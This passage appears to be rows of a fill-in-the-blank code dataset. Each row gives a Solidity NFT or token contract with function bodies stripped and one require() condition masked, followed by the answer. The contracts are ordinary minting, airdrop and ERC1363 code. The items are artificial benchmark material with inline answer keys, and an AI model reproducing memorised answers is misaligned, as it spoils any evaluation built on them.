function setCommonURI(string calldata _uri) external onlyOwner {
}
function setTokenURI(string calldata _uri, uint256 _tokenId) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) override internal virtual {
}
}
| msg.value>=(_count*MINT_PRICE),"INVALID_ETH_SENT" | 30,220 | msg.value>=(_count*MINT_PRICE) |
"you can't mint more than 3" | // pragma solidity ^0.8.7;
contract syac is ERC721, Ownable, Pausable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5555;
uint256 public constant MINT_PRICE = 0.05 ether;
uint256 public constant MAX_MINT_PER_TX = 5;
uint256 constant public LEGENDARY_SUPPLY = 200;
uint256 public totalLegendaryMinted;
mapping(address=>uint) public totalWhiteListMinted;
mapping(address=>uint256) public totalPublicMinted;
mapping(address => bool) public isWhitelisted;
mapping(address=>bool) legandaryAddress;
mapping(bytes32 => bool) private _usedHashes;
bool public saleStarted = false;
bool public preSaleStarted = false;
bool public lock = false;
uint256 public totalSupply = 0;
string public prefixURI;
string public commonURI;
mapping(uint256 => string) public tokenURIs;
constructor() ERC721("Spoiled Young Ape Club", "SYAC") {
}
//modifier
modifier onlyLegandry() {
}
//function to convert uint into string
function uint2str(
uint256 _i
)
internal
pure
returns (string memory str)
{
}
//Encoded Token id
function getTokenId(uint256 _value)public pure returns(string memory){
}
function mintOwner() public onlyOwner {
}
function mintLegendary(uint256 _count, address _account) external onlyLegandry {
}
function mintWhitelist(
uint256 _count)
external
payable
{
require(preSaleStarted, "MINT_NOT_STARTED");
require(totalSupply + _count <= MAX_SUPPLY, "MAX_SUPPLY_REACHED");
require(totalLegendaryMinted >= LEGENDARY_SUPPLY, "LEGENDARY_NOT_MINTED");
require(msg.value >= (_count * MINT_PRICE), "INVALID_ETH_SENT");
require(_count<=3,"You can't mint more than 3");
require(isWhitelisted[msg.sender],"Address isn't Whitelisted");
require(<FILL_ME>)
for (uint256 i = 1; i <= _count; i++) {
_safeMint(msg.sender,(totalSupply + i));
}
totalSupply += _count;
totalWhiteListMinted[msg.sender]+=_count;
}
// Public Mint
function mint(uint256 _count) public payable {
}
function addWhitelist(address[] memory _addresses) external onlyOwner {
}
function removeWhitelist(address[] memory _addresses) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// ** Admin Fuctions ** //
function withdraw(address payable _to) external onlyOwner {
}
function setSaleStarted(bool _hasStarted) external onlyOwner {
}
function setLegendary(address[] memory _legandaryAddress) external onlyOwner {
}
function setPreSaleStarted(bool _hasStarted) external onlyOwner {
}
function lockBaseURI() external onlyOwner {
}
function setPrefixURI(string calldata _uri) external onlyOwner {
}
function setCommonURI(string calldata _uri) external onlyOwner {
}
function setTokenURI(string calldata _uri, uint256 _tokenId) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) override internal virtual {
}
}
| totalWhiteListMinted[msg.sender]+_count<=3,"you can't mint more than 3" | 30,220 | totalWhiteListMinted[msg.sender]+_count<=3 |
"Maximum NFT Limit reached" | // pragma solidity ^0.8.7;
contract syac is ERC721, Ownable, Pausable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 5555;
uint256 public constant MINT_PRICE = 0.05 ether;
uint256 public constant MAX_MINT_PER_TX = 5;
uint256 constant public LEGENDARY_SUPPLY = 200;
uint256 public totalLegendaryMinted;
mapping(address=>uint) public totalWhiteListMinted;
mapping(address=>uint256) public totalPublicMinted;
mapping(address => bool) public isWhitelisted;
mapping(address=>bool) legandaryAddress;
mapping(bytes32 => bool) private _usedHashes;
bool public saleStarted = false;
bool public preSaleStarted = false;
bool public lock = false;
uint256 public totalSupply = 0;
string public prefixURI;
string public commonURI;
mapping(uint256 => string) public tokenURIs;
constructor() ERC721("Spoiled Young Ape Club", "SYAC") {
}
//modifier
modifier onlyLegandry() {
}
//function to convert uint into string
function uint2str(
uint256 _i
)
internal
pure
returns (string memory str)
{
}
//Encoded Token id
function getTokenId(uint256 _value)public pure returns(string memory){
}
function mintOwner() public onlyOwner {
}
function mintLegendary(uint256 _count, address _account) external onlyLegandry {
}
function mintWhitelist(
uint256 _count)
external
payable
{
}
// Public Mint
function mint(uint256 _count) public payable {
require(saleStarted, "MINT_NOT_STARTED");
require(_count > 0 && _count <= MAX_MINT_PER_TX, "COUNT_INVALID");
require(totalLegendaryMinted >= LEGENDARY_SUPPLY, "LEGENDARY_NOT_MINTED");
require(totalSupply + _count <= MAX_SUPPLY, "MAX_SUPPLY_REACHED");
require(msg.value >=(_count * MINT_PRICE), "INVALID_ETH_SENT");
require(<FILL_ME>)
for (uint256 i = 1; i <= _count; i++) {
_safeMint(msg.sender, (totalSupply + i));
}
totalSupply += _count;
totalPublicMinted[msg.sender]+=_count;
}
function addWhitelist(address[] memory _addresses) external onlyOwner {
}
function removeWhitelist(address[] memory _addresses) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// ** Admin Fuctions ** //
function withdraw(address payable _to) external onlyOwner {
}
function setSaleStarted(bool _hasStarted) external onlyOwner {
}
function setLegendary(address[] memory _legandaryAddress) external onlyOwner {
}
function setPreSaleStarted(bool _hasStarted) external onlyOwner {
}
function lockBaseURI() external onlyOwner {
}
function setPrefixURI(string calldata _uri) external onlyOwner {
}
function setCommonURI(string calldata _uri) external onlyOwner {
}
function setTokenURI(string calldata _uri, uint256 _tokenId) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) override internal virtual {
}
}
| totalPublicMinted[msg.sender]+_count<=8,"Maximum NFT Limit reached" | 30,220 | totalPublicMinted[msg.sender]+_count<=8 |
"0xVampire: Up to 3 0xVampires can be purchased." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./Strings.sol";
import "./ContentMixin.sol";
import "./NativeMetaTransaction.sol";
/**
* @title 0xVampire
*/
contract Vampire is
ContextMixin,
ERC721Enumerable,
NativeMetaTransaction,
Ownable
{
using SafeMath for uint256;
string public baseTokenURI;
uint256 private _currentTokenId = 0;
uint256 MAX_SUPPLY = 9999;
uint256 public totalMint = 0;
uint256 public totalPledge;
uint256 public presaleTime = 1631718000;
uint256 public presaleEndTime = 1631804400;
uint256 public pledgeTime = 1699999999;
uint256 public awakeningTime = 1699999999;
mapping(address => bool) public whitelist;
mapping(address => uint8) public presaleNumOfPlayer;
mapping(address => uint8) public pledgeNumOfPlayer;
mapping(address => uint8) public claimed;
event WhitelistedAddressRemoved(address addr);
event BloodThirster(uint256 indexed tokenId, address indexed luckyDog);
event BloodRider(uint256 indexed tokenId, address indexed luckyDog);
event GivenName(uint256 indexed tokenId, string name);
event StoryOfVampire(uint256 indexed tokenId, string name);
/**
* @dev Throws if called by any account that's not whitelisted.
*/
modifier onlyWhitelisted() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _uri
) ERC721(_name, _symbol) {
}
/**
* @dev Airdrop vampires to several addresses.
* @param _recipients addresss of the future owner of the token
*/
function mintTo(address[] memory _recipients) external onlyOwner {
}
/**
* @dev Mint to msg.sender. Only whitelisted users can participate
* @param _num Quantity to purchase
*/
function presale(uint8 _num) external payable onlyWhitelisted {
require(
block.timestamp >= presaleTime && block.timestamp < presaleEndTime,
"0xVampire: Presale has not yet started."
);
require(<FILL_ME>)
require(
msg.value == uint256(_num) * 6e16,
"0xVampire: You need to pay the exact price."
);
_mintList(_num);
presaleNumOfPlayer[msg.sender] = presaleNumOfPlayer[msg.sender] + _num;
totalMint += uint256(_num);
}
/**
* @dev Pledge for the purchase. Each address can only purchase up to 5 0xVampires.
* @param _num Quantity to purchase
*/
function bloodMark(uint8 _num) external payable {
}
/**
* @dev Your 0xVampires can only be claimed at the end of the sale.
*/
function claim() external {
}
/**
* @dev Mint to msg.sender.
* @param _num addresss of the future owner of the token
*/
function mint(uint8 _num) external payable {
}
/**
* @dev Every time the tokenId reaches a multiple of 100, a random 0xVampire gets a 10x mint price return.
* For the 2500th, 5000th, 7500th and 9999th sales, 4 random vampires will be picked and be each gifted with a Harley Davidson motorcycle as their ride.
*/
function _mintList(uint8 _num) private {
}
/**
* @dev calculates the next token ID based on value of _currentTokenId
* @return uint256 for the next token ID
*/
function _getNextTokenId() private view returns (uint256) {
}
/**
* @dev generates a random number based on block info
*/
function random() private view returns (uint256) {
}
/**
* @dev increments the value of _currentTokenId
*/
function _incrementTokenId() private {
}
/**
* @dev change the baseTokenURI only by Admin
*/
function setBaseUri(string memory _uri) external onlyOwner {
}
/**
* @dev set the sale time only by Admin
*/
function setAwakeningTime(uint256 _time) external onlyOwner {
}
/**
* @dev set the presale and pledge time only by Admin
*/
function setAllTime(
uint256 _preSaleTime,
uint256 _preSaleEndTime,
uint256 _pledgeTime
) external onlyOwner {
}
function setName(uint256 _tokenId, string memory _name) external {
}
function setStory(uint256 _tokenId, string memory _desc) external {
}
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/**
* This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea.
*/
function _msgSender() internal view override returns (address sender) {
}
function recoverGodhead() external onlyOwner {
}
/**
* @dev add addresses to the whitelist
* @param addrs addresses
*/
function addAddressesToWhitelist(address[] memory addrs) public onlyOwner {
}
/**
* @dev remove addresses from the whitelist
* @param addrs addresses
*/
function removeAddressesFromWhitelist(address[] memory addrs)
public
onlyOwner
{
}
}
| (_num+presaleNumOfPlayer[msg.sender])<=3,"0xVampire: Up to 3 0xVampires can be purchased." | 30,228 | (_num+presaleNumOfPlayer[msg.sender])<=3 |
"0xVampire: Each address can only purchase up to 5 0xVampires." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./Strings.sol";
import "./ContentMixin.sol";
import "./NativeMetaTransaction.sol";
/**
* @title 0xVampire
*/
contract Vampire is
ContextMixin,
ERC721Enumerable,
NativeMetaTransaction,
Ownable
{
using SafeMath for uint256;
string public baseTokenURI;
uint256 private _currentTokenId = 0;
uint256 MAX_SUPPLY = 9999;
uint256 public totalMint = 0;
uint256 public totalPledge;
uint256 public presaleTime = 1631718000;
uint256 public presaleEndTime = 1631804400;
uint256 public pledgeTime = 1699999999;
uint256 public awakeningTime = 1699999999;
mapping(address => bool) public whitelist;
mapping(address => uint8) public presaleNumOfPlayer;
mapping(address => uint8) public pledgeNumOfPlayer;
mapping(address => uint8) public claimed;
event WhitelistedAddressRemoved(address addr);
event BloodThirster(uint256 indexed tokenId, address indexed luckyDog);
event BloodRider(uint256 indexed tokenId, address indexed luckyDog);
event GivenName(uint256 indexed tokenId, string name);
event StoryOfVampire(uint256 indexed tokenId, string name);
/**
* @dev Throws if called by any account that's not whitelisted.
*/
modifier onlyWhitelisted() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _uri
) ERC721(_name, _symbol) {
}
/**
* @dev Airdrop vampires to several addresses.
* @param _recipients addresss of the future owner of the token
*/
function mintTo(address[] memory _recipients) external onlyOwner {
}
/**
* @dev Mint to msg.sender. Only whitelisted users can participate
* @param _num Quantity to purchase
*/
function presale(uint8 _num) external payable onlyWhitelisted {
}
/**
* @dev Pledge for the purchase. Each address can only purchase up to 5 0xVampires.
* @param _num Quantity to purchase
*/
function bloodMark(uint8 _num) external payable {
require(
block.timestamp >= pledgeTime,
"0xVampire: Pledge has not yet started."
);
require(<FILL_ME>)
require(
totalMint + uint256(_num) <= MAX_SUPPLY - totalPledge - 200,
"0xVampire: Sorry, all 0xVampires are sold out."
);
require(
msg.value == uint256(_num) * 6e16,
"0xVampire: You need to pay the exact price."
);
pledgeNumOfPlayer[msg.sender] = pledgeNumOfPlayer[msg.sender] + _num;
totalPledge += uint256(_num);
}
/**
* @dev Your 0xVampires can only be claimed at the end of the sale.
*/
function claim() external {
}
/**
* @dev Mint to msg.sender.
* @param _num addresss of the future owner of the token
*/
function mint(uint8 _num) external payable {
}
/**
* @dev Every time the tokenId reaches a multiple of 100, a random 0xVampire gets a 10x mint price return.
* For the 2500th, 5000th, 7500th and 9999th sales, 4 random vampires will be picked and be each gifted with a Harley Davidson motorcycle as their ride.
*/
function _mintList(uint8 _num) private {
}
/**
* @dev calculates the next token ID based on value of _currentTokenId
* @return uint256 for the next token ID
*/
function _getNextTokenId() private view returns (uint256) {
}
/**
* @dev generates a random number based on block info
*/
function random() private view returns (uint256) {
}
/**
* @dev increments the value of _currentTokenId
*/
function _incrementTokenId() private {
}
/**
* @dev change the baseTokenURI only by Admin
*/
function setBaseUri(string memory _uri) external onlyOwner {
}
/**
* @dev set the sale time only by Admin
*/
function setAwakeningTime(uint256 _time) external onlyOwner {
}
/**
* @dev set the presale and pledge time only by Admin
*/
function setAllTime(
uint256 _preSaleTime,
uint256 _preSaleEndTime,
uint256 _pledgeTime
) external onlyOwner {
}
function setName(uint256 _tokenId, string memory _name) external {
}
function setStory(uint256 _tokenId, string memory _desc) external {
}
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/**
* This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea.
*/
function _msgSender() internal view override returns (address sender) {
}
function recoverGodhead() external onlyOwner {
}
/**
* @dev add addresses to the whitelist
* @param addrs addresses
*/
function addAddressesToWhitelist(address[] memory addrs) public onlyOwner {
}
/**
* @dev remove addresses from the whitelist
* @param addrs addresses
*/
function removeAddressesFromWhitelist(address[] memory addrs)
public
onlyOwner
{
}
}
| (_num+pledgeNumOfPlayer[msg.sender]+claimed[msg.sender])<=5,"0xVampire: Each address can only purchase up to 5 0xVampires." | 30,228 | (_num+pledgeNumOfPlayer[msg.sender]+claimed[msg.sender])<=5 |
"0xVampire: Sorry, all 0xVampires are sold out." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./Strings.sol";
import "./ContentMixin.sol";
import "./NativeMetaTransaction.sol";
/**
* @title 0xVampire
*/
contract Vampire is
ContextMixin,
ERC721Enumerable,
NativeMetaTransaction,
Ownable
{
using SafeMath for uint256;
string public baseTokenURI;
uint256 private _currentTokenId = 0;
uint256 MAX_SUPPLY = 9999;
uint256 public totalMint = 0;
uint256 public totalPledge;
uint256 public presaleTime = 1631718000;
uint256 public presaleEndTime = 1631804400;
uint256 public pledgeTime = 1699999999;
uint256 public awakeningTime = 1699999999;
mapping(address => bool) public whitelist;
mapping(address => uint8) public presaleNumOfPlayer;
mapping(address => uint8) public pledgeNumOfPlayer;
mapping(address => uint8) public claimed;
event WhitelistedAddressRemoved(address addr);
event BloodThirster(uint256 indexed tokenId, address indexed luckyDog);
event BloodRider(uint256 indexed tokenId, address indexed luckyDog);
event GivenName(uint256 indexed tokenId, string name);
event StoryOfVampire(uint256 indexed tokenId, string name);
/**
* @dev Throws if called by any account that's not whitelisted.
*/
modifier onlyWhitelisted() {
}
constructor(
string memory _name,
string memory _symbol,
string memory _uri
) ERC721(_name, _symbol) {
}
/**
* @dev Airdrop vampires to several addresses.
* @param _recipients addresss of the future owner of the token
*/
function mintTo(address[] memory _recipients) external onlyOwner {
}
/**
* @dev Mint to msg.sender. Only whitelisted users can participate
* @param _num Quantity to purchase
*/
function presale(uint8 _num) external payable onlyWhitelisted {
}
/**
* @dev Pledge for the purchase. Each address can only purchase up to 5 0xVampires.
* @param _num Quantity to purchase
*/
function bloodMark(uint8 _num) external payable {
require(
block.timestamp >= pledgeTime,
"0xVampire: Pledge has not yet started."
);
require(
(_num + pledgeNumOfPlayer[msg.sender] + claimed[msg.sender]) <= 5,
"0xVampire: Each address can only purchase up to 5 0xVampires."
);
require(<FILL_ME>)
require(
msg.value == uint256(_num) * 6e16,
"0xVampire: You need to pay the exact price."
);
pledgeNumOfPlayer[msg.sender] = pledgeNumOfPlayer[msg.sender] + _num;
totalPledge += uint256(_num);
}
/**
* @dev Your 0xVampires can only be claimed at the end of the sale.
*/
function claim() external {
}
/**
* @dev Mint to msg.sender.
* @param _num addresss of the future owner of the token
*/
function mint(uint8 _num) external payable {
}
/**
* @dev Every time the tokenId reaches a multiple of 100, a random 0xVampire gets a 10x mint price return.
* For the 2500th, 5000th, 7500th and 9999th sales, 4 random vampires will be picked and be each gifted with a Harley Davidson motorcycle as their ride.
*/
function _mintList(uint8 _num) private {
}
/**
* @dev calculates the next token ID based on value of _currentTokenId
* @return uint256 for the next token ID
*/
function _getNextTokenId() private view returns (uint256) {
}
/**
* @dev generates a random number based on block info
*/
function random() private view returns (uint256) {
}
/**
* @dev increments the value of _currentTokenId
*/
function _incrementTokenId() private {
}
/**
* @dev change the baseTokenURI only by Admin
*/
function setBaseUri(string memory _uri) external onlyOwner {
}
/**
* @dev set the sale time only by Admin
*/
function setAwakeningTime(uint256 _time) external onlyOwner {
}
/**
* @dev set the presale and pledge time only by Admin
*/
function setAllTime(
uint256 _preSaleTime,
uint256 _preSaleEndTime,
uint256 _pledgeTime
) external onlyOwner {
}
function setName(uint256 _tokenId, string memory _name) external {
}
function setStory(uint256 _tokenId, string memory _desc) external {
}
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
/**
* This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea.
*/
function _msgSender() internal view override returns (address sender) {
}
function recoverGodhead() external onlyOwner {
}
/**
* @dev add addresses to the whitelist
* @param addrs addresses
*/
function addAddressesToWhitelist(address[] memory addrs) public onlyOwner {
}
/**
* @dev remove addresses from the whitelist
* @param addrs addresses
*/
function removeAddressesFromWhitelist(address[] memory addrs)
public
onlyOwner
{
}
}
| totalMint+uint256(_num)<=MAX_SUPPLY-totalPledge-200,"0xVampire: Sorry, all 0xVampires are sold out." | 30,228 | totalMint+uint256(_num)<=MAX_SUPPLY-totalPledge-200 |
null | pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract UCashBank is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "UCash Bank";
string public constant symbol = "UCB";
uint public constant decimals = 8;
uint256 public totalSupply = 1000000000e8;
uint256 public totalDistributed = 0;
uint256 public totalDistributedr = 850000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
}
modifier onlyOwner() {
}
modifier onlyWhitelist() {
require(<FILL_ME>)
_;
}
function UCashBank () public {
}
function transferOwnership(address newOwner) onlyOwner public {
}
function enableWhitelist(address[] addresses) onlyOwner public {
}
function disableWhitelist(address[] addresses) onlyOwner public {
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
}
function airdrop(address[] addresses) onlyOwner canDistr public {
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
}
function () external payable {
}
function getTokens() payable canDistr onlyWhitelist public {
}
function balanceOf(address _owner) constant public returns (uint256) {
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
}
function approve(address _spender, uint256 _value) public returns (bool success) {
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
}
function withdraw() onlyOwner public {
}
function burn(uint256 _value) onlyOwner public {
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
}
}
| blacklist[msg.sender]==false | 30,301 | blacklist[msg.sender]==false |
null | pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract UCashBank is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "UCash Bank";
string public constant symbol = "UCB";
uint public constant decimals = 8;
uint256 public totalSupply = 1000000000e8;
uint256 public totalDistributed = 0;
uint256 public totalDistributedr = 850000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
}
modifier onlyOwner() {
}
modifier onlyWhitelist() {
}
function UCashBank () public {
}
function transferOwnership(address newOwner) onlyOwner public {
}
function enableWhitelist(address[] addresses) onlyOwner public {
}
function disableWhitelist(address[] addresses) onlyOwner public {
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
}
function airdrop(address[] addresses) onlyOwner canDistr public {
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(<FILL_ME>)
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
}
function getTokens() payable canDistr onlyWhitelist public {
}
function balanceOf(address _owner) constant public returns (uint256) {
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
}
function approve(address _spender, uint256 _value) public returns (bool success) {
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
}
function withdraw() onlyOwner public {
}
function burn(uint256 _value) onlyOwner public {
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
}
}
| amounts[i]<=totalRemaining | 30,301 | amounts[i]<=totalRemaining |
null | /**
* @title ERC1363
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Implementation of an ERC1363 interface
*/
contract ERC1363 is ERC20, IERC1363 {
using Address for address;
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
bytes4 internal constant _INTERFACE_ID_ERC1363_TRANSFER = 0x4bbee2df;
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
bytes4 internal constant _INTERFACE_ID_ERC1363_APPROVE = 0xfb9ec8ce;
// Equals to `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Receiver(0).onTransferReceived.selector`
bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c;
// Equals to `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Spender(0).onApprovalReceived.selector`
bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
}
function transferAndCall(address to, uint256 value) public returns (bool) {
}
function transferAndCall(address to, uint256 value, bytes memory data) public returns (bool) {
require(<FILL_ME>)
require(_checkAndCallTransfer(msg.sender, to, value, data));
return true;
}
function transferFromAndCall(address from, address to, uint256 value) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public returns (bool) {
}
function approveAndCall(address spender, uint256 value) public returns (bool) {
}
function approveAndCall(address spender, uint256 value, bytes memory data) public returns (bool) {
}
/**
* @dev Internal function to invoke `onTransferReceived` on a target address
* The call is not executed if the target address is not a contract
* @param from address Representing the previous owner of the given token value
* @param to address Target address that will receive the tokens
* @param value uint256 The amount mount of tokens to be transferred
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallTransfer(address from, address to, uint256 value, bytes memory data) internal returns (bool) {
}
/**
* @dev Internal function to invoke `onApprovalReceived` on a target address
* The call is not executed if the target address is not a contract
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallApprove(address spender, uint256 value, bytes memory data) internal returns (bool) {
}
}
| transfer(to,value) | 30,321 | transfer(to,value) |
null | /**
* @title ERC1363
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Implementation of an ERC1363 interface
*/
contract ERC1363 is ERC20, IERC1363 {
using Address for address;
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
bytes4 internal constant _INTERFACE_ID_ERC1363_TRANSFER = 0x4bbee2df;
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
bytes4 internal constant _INTERFACE_ID_ERC1363_APPROVE = 0xfb9ec8ce;
// Equals to `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Receiver(0).onTransferReceived.selector`
bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c;
// Equals to `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Spender(0).onApprovalReceived.selector`
bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
}
function transferAndCall(address to, uint256 value) public returns (bool) {
}
function transferAndCall(address to, uint256 value, bytes memory data) public returns (bool) {
require(transfer(to, value));
require(<FILL_ME>)
return true;
}
function transferFromAndCall(address from, address to, uint256 value) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public returns (bool) {
}
function approveAndCall(address spender, uint256 value) public returns (bool) {
}
function approveAndCall(address spender, uint256 value, bytes memory data) public returns (bool) {
}
/**
* @dev Internal function to invoke `onTransferReceived` on a target address
* The call is not executed if the target address is not a contract
* @param from address Representing the previous owner of the given token value
* @param to address Target address that will receive the tokens
* @param value uint256 The amount mount of tokens to be transferred
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallTransfer(address from, address to, uint256 value, bytes memory data) internal returns (bool) {
}
/**
* @dev Internal function to invoke `onApprovalReceived` on a target address
* The call is not executed if the target address is not a contract
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallApprove(address spender, uint256 value, bytes memory data) internal returns (bool) {
}
}
| _checkAndCallTransfer(msg.sender,to,value,data) | 30,321 | _checkAndCallTransfer(msg.sender,to,value,data) |
null | /**
* @title ERC1363
